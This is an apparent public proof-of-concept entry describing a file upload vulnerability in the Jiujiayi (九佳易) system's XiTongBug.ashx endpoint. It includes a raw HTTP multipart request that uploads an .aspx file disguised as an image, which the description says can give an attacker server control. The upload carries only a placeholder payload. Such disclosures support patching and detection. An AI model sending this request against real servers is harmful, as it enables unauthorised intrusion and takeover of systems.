九佳易 XiTongBug.ashx 文件上传漏洞

2025-11-28 九佳易XiTongBug PoC Public

Description

九佳易系统中的 XiTongBug.ashx 存在文件上传漏洞，攻击者可能利用该漏洞上传恶意文件，从而获取服务器控制权限。

PoC

POST /XiTongBug.ashx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.14
Content-Length: 411
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj

------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="1.aspx"
Content-Type: image/jpeg

1
------WebKitFormBoundaryFfJZ4PlAZBixjELj--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Jiujiayi XiTongBug.ashx File Upload Vulnerability

References

Related Vulnerabilities